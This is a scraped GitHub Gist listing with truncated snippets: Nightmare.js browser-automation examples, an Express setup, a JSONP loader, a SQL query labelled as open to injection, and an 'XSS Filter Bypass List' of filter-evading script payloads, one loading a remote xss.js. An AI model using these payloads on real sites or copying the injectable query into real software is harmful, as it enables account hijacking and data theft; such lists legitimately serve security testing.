Skip to content

Instantly share code, notes, and snippets.

import express from 'express';
const app = express();
if (IS_DEV) {
require('piping')();
}
//express routes, etc.
export default app;
@fatihky
fatihky / nightmare.js
Created May 11, 2016 00:59
nightmare.js example
var Nightmare = require('nightmare');
var vo = require('vo');
vo(run)(function(err, result) {
if (err) throw err;
});
function *run() {
var nightmare = Nightmare();
var title = yield nightmare
@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active July 21, 2024 22:26
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@rosshinkley
rosshinkley / nightmare-multiple-downloads.js
Last active July 22, 2016 18:14
Download multiple files
var Nightmare = require('nightmare'),
vo = require('vo');
function *start() {
var nightmare = new Nightmare({
show: true,
'download-preferences': {
destination: require('path').resolve(__dirname, 'downloads')
}
});
@rahul-desai3
rahul-desai3 / index.js
Created October 19, 2015 00:11
Trying nightmare.js
var Nightmare = require('nightmare');
var vo = require('vo');
var link = 'https://www.cordbloodbanking.com/';
vo(run)(function(err, result) {
if (err) throw err;
});
var moduleFnArg1 = 1;
@gwintrob
gwintrob / index.js
Last active July 21, 2016 18:58
Multiple Nightmare Example
var Nightmare = require('nightmare');
var urls = ['http://www.nytimes.com/', 'http://www.gnu.org/'];
function test() {
var nightmare1 = new Nightmare();
var nightmare2 = new Nightmare();
nightmare1
.goto(urls[0])
.evaluate(function () {
// Subject to SQL injection
Student.query(
"SELECT * FROM student INNER JOIN course ON course.studentId=student.id WHERE student.id=" + req.param('student_id'),
function(err, students) {
}
)
// uses prepared statements to protect against sql injection
// https://github.com/brianc/node-postgres/wiki/Prepared-Statements#parameterized-queries
@gf3
gf3 / jsonp.js
Created June 18, 2009 18:18
Simple JSONP in vanilla JS
/**
* loadJSONP( url, hollaback [, context] ) -> Null
* - url (String): URL to data resource.
* - hollaback (Function): Function to call when data is successfully loaded,
* it receives one argument: the data.
* - context (Object): Context to invoke the hollaback function in.
*
* Load external data through a JSONP interface.
*
* ### Examples